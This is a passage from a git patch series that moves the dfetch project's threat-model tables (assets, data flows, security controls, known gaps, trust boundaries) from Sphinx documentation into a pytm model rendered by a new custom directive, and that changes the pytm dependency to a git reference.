+ except Exception as exc: + logger.warning(f"pytm: failed to preload model: {exc}", exc_info=True) + + +# --------------------------------------------------------------------------- +# Extension entry point +# --------------------------------------------------------------------------- + + +def setup(app: Sphinx) -> dict: + app.add_config_value("pytm_model", default=None, rebuild="env") + app.add_directive("pytm", PytmDirective) + app.connect("builder-inited", _on_builder_inited) + return { + "version": "1.0", + "parallel_read_safe": True, + "parallel_write_safe": True, + } diff --git a/doc/conf.py b/doc/conf.py index 300f45b49..4030efd1d 100644 --- a/doc/conf.py +++ b/doc/conf.py @@ -61,8 +61,14 @@ "sphinx_copybutton", "colordot", "designguide", + "pytm_directive", ] +# Path to the pytm threat model; used by the ``.. pytm::`` directive. +pytm_model = os.path.abspath( + os.path.join(os.path.dirname(__file__), "..", "security", "threat_model.py") +) + # Strip shell prompts and Python REPL prompts from copied text copybutton_prompt_text = r"\$ |>>> |\.\.\. " copybutton_prompt_is_regexp = True diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index 3cbea82db..2dfc472c4 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -231,9 +231,8 @@ Modelling assumptions: transport (which is itself absent for plain ``http://`` URLs). #. Branch- and tag-pinned Git dependencies are **mutable references** — upstream force-pushes silently change fetched content without triggering a manifest diff. -#. Outbound network connections from CI runners are restricted by - ``harden-runner`` with ``egress-policy: block``; only explicitly listed - endpoints are reachable. +#. The ``harden-runner`` egress policy is set to ``audit``, not ``block`` — + outbound network connections from CI runners are logged but not prevented. #. dfetch's own build and development dependencies are **not** installed with ``--require-hashes``, so a compromised PyPI mirror can substitute build tooling. @@ -252,9 +251,8 @@ Trust Boundaries time. Hosts the manifest, vendor directory, metadata, and patch files. * - **GitHub Actions Infrastructure** - Microsoft-operated ephemeral runners executing the 11 CI/CD workflows. - Semi-trusted: egress is blocked to an explicit allowlist via - ``harden-runner``; secrets are forwarded explicitly by name — no - ``secrets: inherit``. + Semi-trusted: egress is audited but not blocked; secrets are inherited + across workflows via ``secrets: inherit``. * - **Internet** - All traffic crossing the local/remote boundary. TLS enforcement is the responsibility of the OS and VCS clients; dfetch does not enforce HTTPS @@ -273,471 +271,43 @@ Trust Boundaries Asset Register -------------- -Assets are classified following the ISO/IEC 27005 taxonomy used by EN 18031: -**Primary** assets have direct value and direct harm upon compromise; -**Supporting** assets enable primary assets and degrade their security when -lost; **Environmental** assets are infrastructure dependencies. +Assets follow the ISO/IEC 27005 taxonomy used by EN 18031: **Primary** (PA) +assets have direct business value; **Supporting** (SA) assets enable them; +**Environmental** (EA) assets are infrastructure dependencies. The table +below is generated at build time from ``security/threat_model.py``. -Primary Assets -~~~~~~~~~~~~~~ - -.. list-table:: - :header-rows: 1 - :widths: 8 28 14 50 - - * - ID - - Name - - Classification - - Description - * - PA-01 - - dfetch Manifest (``dfetch.yaml``) - - Sensitive - - StrictYAML file declaring all upstream sources, version pins, destination - paths, patch references, and optional integrity hashes. Tampering - redirects fetches to attacker-controlled sources. Risk: the - ``integrity.hash`` field is optional in the schema — archive dependencies - can be declared without any content-authenticity guarantee. - * - PA-02 - - Fetched Source Code - - Sensitive - - Third-party source written to the ``dst:`` path after extraction or - checkout. Becomes a direct build input for the consuming project. A - compromised upstream or MITM can inject malicious code that executes in - the consumer's build system, test runner, or production binary. - * - PA-03 - - Integrity Hash Record - - Sensitive - - ``integrity.hash:`` field in ``dfetch.yaml`` (``sha256|sha384|sha512:``). - The sole trust anchor for archive-type dependencies; verified via - ``hmac.compare_digest`` (constant-time). Critical gap: the field is - optional — its absence disables all content verification. Git and SVN - dependencies have no equivalent mechanism; authenticity relies entirely - on transport security (TLS/SSH). - * - PA-04 - - dfetch PyPI Package - - Sensitive - - Published wheel and source distribution on PyPI. Published via OIDC - trusted publishing — no long-lived API token stored. Missing: no SLSA - provenance attestation or Sigstore signature. Compromise of the PyPI - account or registry affects every consumer of dfetch. - * - PA-05 - - SBOM Output (CycloneDX) - - Restricted - - CycloneDX JSON or XML produced by ``dfetch report -t sbom``. Enumerates - vendored components with PURL, license, and hash. Falsification hides - actual dependencies from downstream CVE scanners. Note: this SBOM covers - vendored dependencies only — dfetch itself has no machine-readable SBOM - on PyPI, which CRA requires for distributed products. - -Supporting Assets -~~~~~~~~~~~~~~~~~ - -.. list-table:: - :header-rows: 1 - :widths: 8 28 14 50 - - * - ID - - Name - - Classification - - Description - * - SA-01 - - dfetch Process - - Restricted - - Running Python interpreter dispatching to update, check, diff, add, - remove, patch, freeze, import, report, validate, and environment commands. - Subprocess injection or dependency confusion could compromise build-time - code execution. - * - SA-02 - - VCS Credentials - - Secret - - SSH private keys, HTTPS Personal Access Tokens, SVN passwords. Used to - authenticate to private upstream repositories. dfetch never persists - these — managed by OS keychain or CI secret store. Exfiltration via a - compromised CI workflow step is mitigated by ``harden-runner`` blocking - unexpected outbound connections. - * - SA-03 - - Dependency Metadata (``.dfetch_data.yaml``) - - Restricted - - Per-dependency tracking files written after each successful fetch. - Contain: remote URL, revision/branch/tag, hash, last-fetch timestamp. - Read by ``dfetch check`` to detect outdated dependencies. Tampering can - suppress update notifications — an attacker controlling the local - filesystem can silently mask a compromised vendored dependency. - * - SA-04 - - Patch Files (``.patch``) - - Restricted - - Unified-diff files referenced by ``patch:`` in the manifest. Applied by - ``patch-ng`` after fetch. Risk: patch files carry no integrity hash in - the manifest schema, so a tampered patch silently alters vendored code. - * - SA-05 - - Local VCS Cache (temp) - - Restricted - - Temporary directory used during git-clone, svn-checkout, and archive - extraction. Deleted after content is copied to the destination. - Path-traversal attacks are mitigated by ``check_no_path_traversal()`` and - post-extraction symlink walks. - * - SA-06 - - GitHub Actions Workflows - - Restricted - - ``.github/workflows/*.yml`` — 11 CI/CD pipeline definitions checked into - the repository. A malicious pull request modifying workflows can - exfiltrate secrets or publish a backdoored release. Mitigated by - SHA-pinned actions and ``persist-credentials: false``. Risk: ``secrets: - inherit`` in ``ci.yml`` propagates all secrets to test and docs - workflows triggered on pull requests. - * - SA-07 - - PyPI OIDC Identity - - Secret - - GitHub OIDC token exchanged for a short-lived PyPI publish credential. - No long-lived API token is stored — this is a significant security - control. The token is scoped to the GitHub Actions environment named - ``pypi``. Risk: misconfiguration of the OIDC issuer or the - trusted-publisher mapping could allow an attacker to mint a valid publish - token. - * - SA-08 - - Audit / Check Reports - - Restricted - - SARIF, Jenkins warnings-ng, and Code Climate JSON produced by - ``dfetch check``. Also includes CodeQL and OpenSSF Scorecard results - uploaded to GitHub Code Scanning. Falsification hides vulnerabilities - from downstream security dashboards. - * - SA-09 - - dfetch Build / Dev Dependencies - - Restricted - - Python packages installed during CI (setuptools, build, pylint, bandit, - mypy, pytest, etc.) and platform build tools (Ruby ``fpm``, Chocolatey - packages). Critical gap: installed via ``pip install .`` and - ``pip install --upgrade pip build`` without ``--require-hashes``. A - compromised PyPI mirror or BGP hijack can substitute malicious build - tools — a first-order supply-chain risk for dfetch's own release pipeline. - * - SA-10 - - OpenSSF Scorecard Results - - Restricted - - Weekly OSSF Scorecard SARIF results uploaded to GitHub Code Scanning. - Covers branch protection, CI tests, code review, maintained status, - packaging, pinned dependencies, SAST, signed releases, token permissions, - vulnerabilities, dangerous workflows, binary artifacts, fuzzing, licence, - CII best practices, security policy, and webhooks. Suppression or - forgery hides supply-chain regressions. - -Environmental Assets -~~~~~~~~~~~~~~~~~~~~ - -.. list-table:: - :header-rows: 1 - :widths: 8 28 14 50 - - * - ID - - Name - - Classification - - Description - * - EA-01 - - Remote VCS Servers - - Public - - Upstream Git and SVN hosts: GitHub, GitLab, Gitea, self-hosted. Not - controlled by the dfetch project. - **SSH transports**: ``BatchMode=yes`` and SSH host-key verification - prevent credential prompts and protect against host impersonation. - **Non-TLS transports** (plain ``http://`` or ``svn://``): these controls - do not apply — a network-positioned attacker can intercept or substitute - content without detection. Use HTTPS, ``svn+https://``, or an SSH - tunnel for all VCS remotes; dfetch does not enforce this in the manifest - schema. - * - EA-02 - - Archive HTTP Servers - - Public - - HTTP/HTTPS origins for ``.tar.gz``, ``.tgz``, ``.tar.bz2``, ``.tar.xz``, - and ``.zip`` dependencies. The ``integrity.hash`` field is the sole trust - anchor; plain ``http://`` URLs are accepted without enforcement. - * - EA-03 - - GitHub Repository - - Restricted - - Source code, pull requests, releases, and workflow definitions. The - repository's branch-protection and code-review policies are the primary - defence against malicious contributions. - * - EA-04 - - GitHub Actions Infrastructure - - Restricted - - Microsoft-operated ephemeral runners. All third-party actions are pinned - by commit SHA to limit supply-chain risk. - * - EA-05 - - PyPI / TestPyPI - - Public - - Python Package Index and its staging registry. Account takeover or - registry compromise would affect every user who installs dfetch. - * - EA-06 - - Developer Workstation / CI Runner - - Restricted - - Invokes dfetch. Trusted at call time; a compromised CI runner is a pivot - point for secret exfiltration. - * - EA-07 - - Consumer Build System - - Restricted - - Compiles fetched source code (PA-02). Not controlled by dfetch — it - receives untrusted third-party source. - * - EA-08 - - Network Transport - - Public - - HTTPS, SSH, SVN, and plain HTTP carrying all remote fetch traffic. TLS - enforcement is the responsibility of the OS and VCS clients. Classified - Public because the transport channel itself is shared infrastructure with - no inherent confidentiality — confidentiality of the data it carries is - the responsibility of the higher-layer protocols (TLS/SSH). +.. pytm:: + :assets: Data Flows ---------- -The following data flows are defined in ``security/threat_model.py`` and annotated -with the security controls that are currently implemented. +The following data flows are defined in ``security/threat_model.py`` and +annotated with the security controls that are currently implemented. The +table is generated at build time from the pytm model. -.. list-table:: - :header-rows: 1 - :widths: 8 30 14 48 - - * - ID - - Flow - - Protocol - - Notes - * - DF-01 - - Developer → dfetch CLI - - (local) - - CLI invocation: update / check / diff / report / add etc. - * - DF-02 - - Manifest → dfetch CLI - - (local) - - StrictYAML parse; ``SAFE_STR`` regex rejects control characters. - * - DF-03a - - dfetch CLI → Remote VCS Server (HTTPS/SSH) - - HTTPS / SSH - - ``git fetch``, ``git ls-remote``, ``svn ls`` over encrypted transport. - ``BatchMode=yes`` and ``GIT_TERMINAL_PROMPT=0`` suppress prompts; SSH - host-key verification prevents impersonation. - * - DF-03b - - dfetch CLI → Remote VCS Server (svn:// / http://) - - http / svn - - Same commands over unencrypted transports accepted by dfetch. - **No TLS, no host verification** — a MITM can substitute repository - content or intercept credentials. Manifest schema does not enforce - HTTPS. Mitigate by using HTTPS or ``svn+https://`` instead. - * - DF-04a - - Remote VCS Server → dfetch CLI (HTTPS/SSH) - - HTTPS / SSH - - Repository content over encrypted transport. No end-to-end content - hash — authenticity relies on transport security and upstream integrity. - * - DF-04b - - Remote VCS Server → dfetch CLI (svn:// / http://) - - http / svn - - Repository content over unencrypted transport. An attacker can - substitute arbitrary content without detection — no encryption and no - content hash. - * - DF-05 - - dfetch CLI → Archive HTTP Server - - HTTP or HTTPS - - HTTP GET to archive URL; follows up to 10 redirects. Risk: plain - ``http://`` URLs are accepted — traffic is unencrypted. - * - DF-06 - - Archive HTTP Server → dfetch CLI - - HTTP or HTTPS - - Raw archive bytes streamed into dfetch. Hash computed in-flight when - ``integrity.hash`` is specified. Critical: when the field is absent, - no content verification occurs. - * - DF-07 - - dfetch CLI → Vendor Directory - - (local) - - Post-validation copy to ``dst`` path. Path-traversal checked via - ``check_no_path_traversal()``; symlinks validated post-extraction. - * - DF-08 - - dfetch CLI → Dependency Metadata - - (local) - - Writes ``.dfetch_data.yaml`` tracking remote URL, revision, and hash. - * - DF-09 - - dfetch CLI → SBOM Output - - (local) - - CycloneDX BOM generation from metadata store contents. - * - DF-10 - - Patch Files → dfetch CLI - - (local) - - ``patch-ng`` reads unified-diff file and applies to vendor directory. - Risk: patch files carry no integrity hash; ``patch-ng`` path safety - depends on its own internal implementation. - * - DF-11 - - Contributor → GitHub Repository - - HTTPS - - External contributor opens a pull request. ``ci.yml`` forwards only - the named secrets required by each reusable workflow — no - ``secrets: inherit``. ``harden-runner`` blocks unexpected egress. - * - DF-12 - - GitHub Repository → GitHub Actions Runner - - HTTPS - - CI checkout and build. GitHub Actions checks out source from the - repository into the runner. ``persist-credentials: false`` on all - checkout steps; all third-party actions pinned by commit SHA. - * - DF-13 - - GitHub Actions Runner → PyPI - - HTTPS - - On release event: wheel/sdist published via OIDC trusted publishing. - A CycloneDX SBOM is generated, attached to the GitHub Release, and - used as the predicate of a Sigstore in-toto attestation (signed via - Fulcio/Rekor) for both the wheel and the source distribution. - * - DF-14 - - Consumer → PyPI - - HTTPS - - ``pip install dfetch`` from PyPI. - * - DF-15 - - PyPI Package → Consumer Build System - - (installed) - - Installed dfetch wheel executed in consumer environment. Consumer - cannot verify build provenance without SLSA attestation. +.. pytm:: + :dataflows: Implemented Security Controls ------------------------------- The following controls are already in place and are reflected in the -``controls.*`` annotations on each pytm element. +``controls.*`` annotations on each pytm element. The table is generated +at build time from ``CONTROLS`` in ``security/threat_model.py``. -.. list-table:: - :header-rows: 1 - :widths: 32 20 48 - - * - Control - - Asset(s) protected - - Implementation - * - Path-traversal prevention - - PA-02, SA-05 - - ``check_no_path_traversal()`` resolves both the candidate path and the - destination root via ``os.path.realpath`` (symlink-aware, not - ``pathlib.Path.resolve``), then rejects any path whose resolved prefix - does not start with the resolved root. Applied to every file copy and - post-extraction symlink. - ``check_no_path_traversal()`` in ``dfetch/util/util.py`` - * - Decompression-bomb protection - - SA-05, PA-02 - - Archives are rejected if uncompressed size exceeds 500 MB or the member - count exceeds 10 000. - ``dfetch/vcs/archive.py`` - * - Archive symlink validation - - PA-02 - - Absolute and escaping (``..``) symlink targets are rejected for both TAR - and ZIP. A post-extraction walk validates all symlinks against the - manifest root. - ``dfetch/vcs/archive.py`` - * - Archive member type checks - - PA-02, SA-05 - - TAR and ZIP members of type device file or FIFO are rejected outright. - ``dfetch/vcs/archive.py`` - * - Integrity hash verification - - PA-02, PA-03 - - SHA-256, SHA-384, and SHA-512 verified via ``hmac.compare_digest`` - (constant-time comparison, resistant to timing attacks). - ``dfetch/vcs/integrity_hash.py`` - * - Non-interactive VCS - - SA-02, EA-01 - - ``GIT_TERMINAL_PROMPT=0``, ``BatchMode=yes`` for Git; - ``--non-interactive`` for SVN. Credential prompts are suppressed to - prevent interactive hijacking in CI. - ``dfetch/vcs/git.py``, ``dfetch/vcs/svn.py`` - * - Subprocess safety - - SA-01 - - All external commands invoked with ``shell=False`` and list-form - arguments — no shell-injection vector. - ``dfetch/util/cmdline.py`` - * - Manifest input validation - - PA-01 - - StrictYAML schema with ``SAFE_STR = Regex(r"^[^\x00-\x1F\x7F-\x9F]*$")`` - rejects control characters in all string fields. - ``dfetch/manifest/schema.py`` - * - Actions commit-SHA pinning - - SA-06, EA-04 - - Every third-party GitHub Action is pinned to a full commit SHA (e.g. - ``actions/checkout@de0fac2e...``), preventing tag-mutable supply-chain - substitution. - ``.github/workflows/*.yml`` - * - OIDC trusted publishing - - SA-07, PA-04 - - PyPI publishes via ``pypa/gh-action-pypi-publish`` with ``id-token: write`` - and no stored long-lived API token. - ``.github/workflows/python-publish.yml`` - * - Minimal workflow permissions - - SA-06 - - Each workflow declares only the permissions it requires (default - ``contents: read``). - ``.github/workflows/*.yml`` - * - ``persist-credentials: false`` - - SA-02, EA-03 - - All ``actions/checkout`` steps drop the GitHub token from the working - tree after checkout. - ``.github/workflows/*.yml`` - * - Harden-runner (egress block) - - SA-02, EA-04 - - ``step-security/harden-runner`` is used in every workflow with - ``egress-policy: block`` and an explicit allowlist of permitted - endpoints. Unexpected outbound connections are denied. - ``.github/workflows/*.yml`` - * - Explicit secret forwarding - - SA-02, EA-04 - - ``ci.yml`` forwards only named secrets to reusable workflows - (``CODACY_PROJECT_TOKEN``, ``GH_DFETCH_ORG_DEPLOY``). No workflow - uses ``secrets: inherit``, limiting the blast radius of a compromised - workflow step. - ``.github/workflows/ci.yml`` - * - SBOM attestation (Sigstore) - - EA-01, EA-03 - - ``python-publish.yml`` generates a CycloneDX SBOM for each release - and creates a Sigstore in-toto attestation (predicate type - ``https://cyclonedx.org/bom``) for the wheel and source distribution, - signed via Fulcio/Rekor. The SBOM is also uploaded to the GitHub - Release for consumer verification. - ``.github/workflows/python-publish.yml`` - * - OpenSSF Scorecard - - EA-03, SA-10 - - Weekly OSSF Scorecard analysis uploaded to GitHub Code Scanning covers - the full set of OpenSSF Scorecard checks (see the - `OpenSSF Scorecard project `_ for - the authoritative list). - ``.github/workflows/scorecard.yml`` - * - CodeQL static analysis - - SA-01, SA-06 - - CodeQL scans the Python codebase for security vulnerabilities on every - push and pull request. - ``.github/workflows/codeql-analysis.yml`` - * - Dependency review - - SA-09 - - ``actions/dependency-review-action`` checks for known vulnerabilities in - newly added dependencies on every pull request. - ``.github/workflows/dependency-review.yml`` - * - ``bandit`` security linter - - SA-01 - - ``bandit -r dfetch`` runs in CI to detect common Python security issues. - ``pyproject.toml`` +.. pytm:: + :controls: Known Gaps and Residual Risks ------------------------------ The following gaps were identified during asset analysis. They represent -areas where existing controls are absent or incomplete. +areas where existing controls are absent or incomplete. The table is +generated at build time from ``GAPS`` in ``security/threat_model.py``. -.. list-table:: - :header-rows: 1 - :widths: 32 68 - - * - Gap - - Description - * - Optional integrity hash - - ``integrity.hash`` in the manifest is optional. Archive dependencies - without it have no content-authenticity guarantee. Plain ``http://`` - URLs receive no protection at all. - * - No integrity mechanism for Git/SVN - - Git and SVN dependencies carry no equivalent to ``integrity.hash``. - Authenticity relies entirely on transport security (TLS or SSH). - Mutable references (branch, tag) can silently fetch different content - after an upstream force-push. - * - No patch-file integrity - - Patch files referenced in the manifest carry no integrity hash. A - tampered patch can write to arbitrary paths through ``patch-ng``. - * - Build deps without hash pinning - - ``pip install .`` and ``pip install --upgrade pip build`` in CI do not - use ``--require-hashes``. A compromised PyPI mirror can substitute - malicious build tooling. +.. pytm:: + :gaps: diff --git a/pyproject.toml b/pyproject.toml index 038c7f57a..4c6a19061 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -98,6 +98,7 @@ docs = [ 'sphinx-tabs==3.5.0', 'sphinx-autoissues==0.0.1', 'sphinx-copybutton==0.5.2', + 'pytm==1.3.1', ] test = ['pytest==9.0.3', 'pytest-cov==7.1.0', 'behave==1.3.3', 'cyclonedx-python-lib[json-validation]==11.7.0'] casts = ['asciinema==2.4.0'] diff --git a/security/threat_model.py b/security/threat_model.py index 0e24ba244..75889077f 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -78,6 +78,7 @@ remote_git_svn = ExternalEntity("EA-01: Remote VCS Server") remote_git_svn.inBoundary = boundary_remote_vcs +remote_git_svn.classification = Classification.PUBLIC remote_git_svn.description = ( "Upstream Git or SVN host: GitHub, GitLab, Gitea, self-hosted Git/SVN. " "Not controlled by the dfetch project; content is untrusted until verified." @@ -85,6 +86,7 @@ archive_server = ExternalEntity("EA-02: Archive HTTP Server") archive_server.inBoundary = boundary_remote_vcs +archive_server.classification = Classification.PUBLIC archive_server.description = ( "HTTP/HTTPS server serving .tar.gz, .tgz, .tar.bz2, .tar.xz, or .zip files. " "CRITICAL: http:// (non-TLS) URLs are accepted without enforcement of integrity " @@ -93,6 +95,7 @@ gh_repository = ExternalEntity("EA-03: GitHub Repository") gh_repository.inBoundary = boundary_github +gh_repository.classification = Classification.RESTRICTED gh_repository.description = ( "Source code, PRs, releases, and workflow definitions. " "GitHub Actions workflows (.github/workflows/) with contents:write permission " @@ -101,6 +104,7 @@ gh_actions_runner = ExternalEntity("EA-04: GitHub Actions Infrastructure") gh_actions_runner.inBoundary = boundary_github +gh_actions_runner.classification = Classification.RESTRICTED gh_actions_runner.description = ( "Microsoft-operated ephemeral runner executing CI/CD workflows. " "Egress policy is 'audit' (not 'block') — exfiltration of secrets is possible " @@ -109,6 +113,7 @@ pypi = ExternalEntity("EA-05: PyPI / TestPyPI") pypi.inBoundary = boundary_pypi +pypi.classification = Classification.PUBLIC pypi.description = ( "Python Package Index. dfetch is published via OIDC trusted publishing " "(no long-lived API token). Account takeover or registry compromise " @@ -117,6 +122,7 @@ consumer_build = ExternalEntity("EA-07: Consumer Build System") consumer_build.inBoundary = boundary_dev_env +consumer_build.classification = Classification.RESTRICTED consumer_build.description = ( "Build system that compiles fetched source code (PA-02). " "Not controlled by dfetch — it receives untrusted third-party source." @@ -126,6 +132,7 @@ dfetch_cli = Process("SA-01: dfetch Process") dfetch_cli.inBoundary = boundary_dev_env +dfetch_cli.classification = Classification.RESTRICTED dfetch_cli.description = ( "Python CLI entry point dispatching to: update, check, diff, add, remove, " "patch, format-patch, freeze, import, report, validate, environment. " @@ -536,5 +543,240 @@ "Consumer cannot verify build provenance without SLSA attestation." ) +# ── IMPLEMENTED SECURITY CONTROLS ──────────────────────────────────────────── +# +# Each entry is rendered by the ``.. pytm:: :controls:`` Sphinx directive. +# RST markup (``double backticks``) is supported in "implementation" strings. + +CONTROLS: list[dict] = [ + { + "name": "Path-traversal prevention", + "assets": ["PA-02", "SA-05"], + "implementation": ( + "``check_no_path_traversal()`` resolves both the candidate path and the " + "destination root via ``os.path.realpath`` (symlink-aware, not " + "``pathlib.Path.resolve``), then rejects any path whose resolved prefix " + "does not start with the resolved root. Applied to every file copy and " + "post-extraction symlink." + ), + "reference": "dfetch/util/util.py", + }, + { + "name": "Decompression-bomb protection", + "assets": ["SA-05", "PA-02"], + "implementation": ( + "Archives are rejected if the uncompressed size exceeds 500 MB or the " + "member count exceeds 10 000." + ), + "reference": "dfetch/vcs/archive.py", + }, + { + "name": "Archive symlink validation", + "assets": ["PA-02"], + "implementation": ( + "Absolute and escaping (``..``) symlink targets are rejected for both " + "TAR and ZIP. A post-extraction walk validates all symlinks against the " + "manifest root." + ), + "reference": "dfetch/vcs/archive.py", + }, + { + "name": "Archive member type checks", + "assets": ["PA-02", "SA-05"], + "implementation": ( + "TAR and ZIP members of type device file or FIFO are rejected outright." + ), + "reference": "dfetch/vcs/archive.py", + }, + { + "name": "Integrity hash verification", + "assets": ["PA-02", "PA-03"], + "implementation": ( + "SHA-256, SHA-384, and SHA-512 verified via ``hmac.compare_digest`` " + "(constant-time comparison, resistant to timing attacks)." + ), + "reference": "dfetch/vcs/integrity_hash.py", + }, + { + "name": "Non-interactive VCS", + "assets": ["SA-02", "EA-01"], + "implementation": ( + "``GIT_TERMINAL_PROMPT=0``, ``BatchMode=yes`` for Git; " + "``--non-interactive`` for SVN. Credential prompts are suppressed to " + "prevent interactive hijacking in CI." + ), + "reference": "dfetch/vcs/git.py, dfetch/vcs/svn.py", + }, + { + "name": "Subprocess safety", + "assets": ["SA-01"], + "implementation": ( + "All external commands invoked with ``shell=False`` and list-form " + "arguments — no shell-injection vector." + ), + "reference": "dfetch/util/cmdline.py", + }, + { + "name": "Manifest input validation", + "assets": ["PA-01"], + "implementation": ( + "StrictYAML schema with ``SAFE_STR = Regex(r\"^[^\\x00-\\x1F\\x7F-\\x9F]*$\")`` " + "rejects control characters in all string fields." + ), + "reference": "dfetch/manifest/schema.py", + }, + { + "name": "Actions commit-SHA pinning", + "assets": ["SA-06", "EA-04"], + "implementation": ( + "Every third-party GitHub Action is pinned to a full commit SHA, " + "preventing tag-mutable supply-chain substitution." + ), + "reference": ".github/workflows/*.yml", + }, + { + "name": "OIDC trusted publishing", + "assets": ["SA-07", "PA-04"], + "implementation": ( + "PyPI publishes via ``pypa/gh-action-pypi-publish`` with " + "``id-token: write`` and no stored long-lived API token." + ), + "reference": ".github/workflows/python-publish.yml", + }, + { + "name": "Minimal workflow permissions", + "assets": ["SA-06"], + "implementation": ( + "Each workflow declares only the permissions it requires " + "(default ``contents: read``)." + ), + "reference": ".github/workflows/*.yml", + }, + { + "name": "persist-credentials: false", + "assets": ["SA-02", "EA-03"], + "implementation": ( + "All ``actions/checkout`` steps drop the GitHub token from the working " + "tree after checkout." + ), + "reference": ".github/workflows/*.yml", + }, + { + "name": "Harden-runner (egress audit)", + "assets": ["SA-02", "EA-04"], + "implementation": ( + "``step-security/harden-runner`` is used in every workflow to audit " + "outbound network connections. Note: policy is ``audit``, not ``block``." + ), + "reference": ".github/workflows/*.yml", + }, + { + "name": "OpenSSF Scorecard", + "assets": ["EA-03", "SA-10"], + "implementation": ( + "Weekly OSSF Scorecard analysis uploaded to GitHub Code Scanning " + "covers the full set of OpenSSF Scorecard checks." + ), + "reference": ".github/workflows/scorecard.yml", + }, + { + "name": "CodeQL static analysis", + "assets": ["SA-01", "SA-06"], + "implementation": ( + "CodeQL scans the Python codebase for security vulnerabilities on " + "every push and pull request." + ), + "reference": ".github/workflows/codeql-analysis.yml", + }, + { + "name": "Dependency review", + "assets": ["SA-09"], + "implementation": ( + "``actions/dependency-review-action`` checks for known vulnerabilities " + "in newly added dependencies on every pull request." + ), + "reference": ".github/workflows/dependency-review.yml", + }, + { + "name": "bandit security linter", + "assets": ["SA-01"], + "implementation": ( + "``bandit -r dfetch`` runs in CI to detect common Python security issues." + ), + "reference": "pyproject.toml", + }, +] + +# ── KNOWN GAPS AND RESIDUAL RISKS ───────────────────────────────────────────── +# +# Each entry is rendered by the ``.. pytm:: :gaps:`` Sphinx directive. + +GAPS: list[dict] = [ + { + "name": "Optional integrity hash", + "description": ( + "``integrity.hash`` in the manifest is optional. Archive dependencies " + "without it have no content-authenticity guarantee. Plain ``http://`` " + "URLs receive no protection at all." + ), + }, + { + "name": "No integrity mechanism for Git/SVN", + "description": ( + "Git and SVN dependencies carry no equivalent to ``integrity.hash``. " + "Authenticity relies entirely on transport security (TLS or SSH). " + "Mutable references (branch, tag) can silently fetch different content " + "after an upstream force-push." + ), + }, + { + "name": "No patch-file integrity", + "description": ( + "Patch files referenced in the manifest carry no integrity hash. A " + "tampered patch can write to arbitrary paths through ``patch-ng``." + ), + }, + { + "name": "No SLSA provenance", + "description": ( + "The release pipeline does not generate SLSA provenance attestations or " + "Sigstore/cosign signatures for the published wheel. Consumers cannot " + "verify build provenance." + ), + }, + { + "name": "No dfetch-self SBOM on PyPI", + "description": ( + "The CycloneDX SBOM generated by ``dfetch report`` covers vendored " + "dependencies only. dfetch itself has no machine-readable SBOM published " + "alongside its PyPI release, as CRA Article 13 requires." + ), + }, + { + "name": "Build deps without hash pinning", + "description": ( + "``pip install .`` and ``pip install --upgrade pip build`` in CI do not " + "use ``--require-hashes``. A compromised PyPI mirror can substitute " + "malicious build tooling." + ), + }, + { + "name": "``secrets: inherit`` scope", + "description": ( + "``ci.yml`` passes all repository secrets to the test and docs workflows " + "via ``secrets: inherit``. A malicious pull request step in either " + "workflow could exfiltrate secrets." + ), + }, + { + "name": "Harden-runner in audit mode", + "description": ( + "``step-security/harden-runner`` is configured with " + "``egress-policy: audit``. Outbound connections are logged but not " + "blocked — secret exfiltration via a compromised CI step is possible." + ), + }, +] + if __name__ == "__main__": tm.process() From e2f60b3bd467d30db9be6e71d31a2931ce0f138d Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 05:55:34 +0000 Subject: [PATCH 08/28] Use OWASP/pytm master branch instead of PyPI wheel Replace pytm==1.3.1 (PyPI) with a direct GitHub reference in both the docs and security extras so the model always builds against the upstream OWASP development branch rather than a potentially stale release: pytm @ git+https://github.com/OWASP/pytm.git@master API is fully compatible: TM, Datastore, Process, ExternalEntity, Data, Dataflow, Boundary, Actor, Classification, TM.reset(), TM._elements, TM._data, TM._threats, tm.resolve(), and Finding fields are all present and unchanged from 1.3.1. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- pyproject.toml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 4c6a19061..1ff3de617 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -98,7 +98,7 @@ docs = [ 'sphinx-tabs==3.5.0', 'sphinx-autoissues==0.0.1', 'sphinx-copybutton==0.5.2', - 'pytm==1.3.1', + "pytm @ git+https://github.com/OWASP/pytm.git@master", ] test = ['pytest==9.0.3', 'pytest-cov==7.1.0', 'behave==1.3.3', 'cyclonedx-python-lib[json-validation]==11.7.0'] casts = ['asciinema==2.4.0'] @@ -109,7 +109,7 @@ build = [ ] sbom = ["cyclonedx-bom==7.3.0"] wheel = ["build==1.5.0"] -security = ["pytm==1.3.1"] +security = ["pytm @ git+https://github.com/OWASP/pytm.git@master"] [project.scripts] dfetch = "dfetch.__main__:main" From 55e849b4b222c3aaa85b6ecd56029785e88b92e2 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 06:02:21 +0000 Subject: [PATCH 09/28] Move trust boundaries and assumptions into pytm model; render via directive - Convert tm.assumptions from plain strings to Assumption objects with name and description fields in security/threat_model.py - Add .description to all six Boundary objects - Extend _load_model() to extract TM._boundaries and tm.assumptions into the cached data dict - Add _render_assumptions() and _render_boundaries() list-table builders - Wire :assumptions: and :boundaries: flags in the directive's run() method - Replace static RST list and list-table in security.rst with .. pytm:: directives so boundaries and assumptions have a single source of truth https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 59 +++++++++++++++++++- doc/explanation/security.rst | 49 +++------------- security/threat_model.py | 105 ++++++++++++++++++++++++++++++----- 3 files changed, 159 insertions(+), 54 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 9e5379632..582f61f2e 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -76,6 +76,8 @@ class PytmDirective(Directive): optional_arguments = 1 has_content = False option_spec = { + "assumptions": directives.flag, + "boundaries": directives.flag, "assets": directives.flag, "dataflows": directives.flag, "controls": directives.flag, @@ -116,6 +118,10 @@ def run(self) -> list[nodes.Node]: data = _get_model_data(app, model_path) sections: list[str] = [] + if "assumptions" in self.options: + sections.append(_render_assumptions(data["assumptions"])) + if "boundaries" in self.options: + 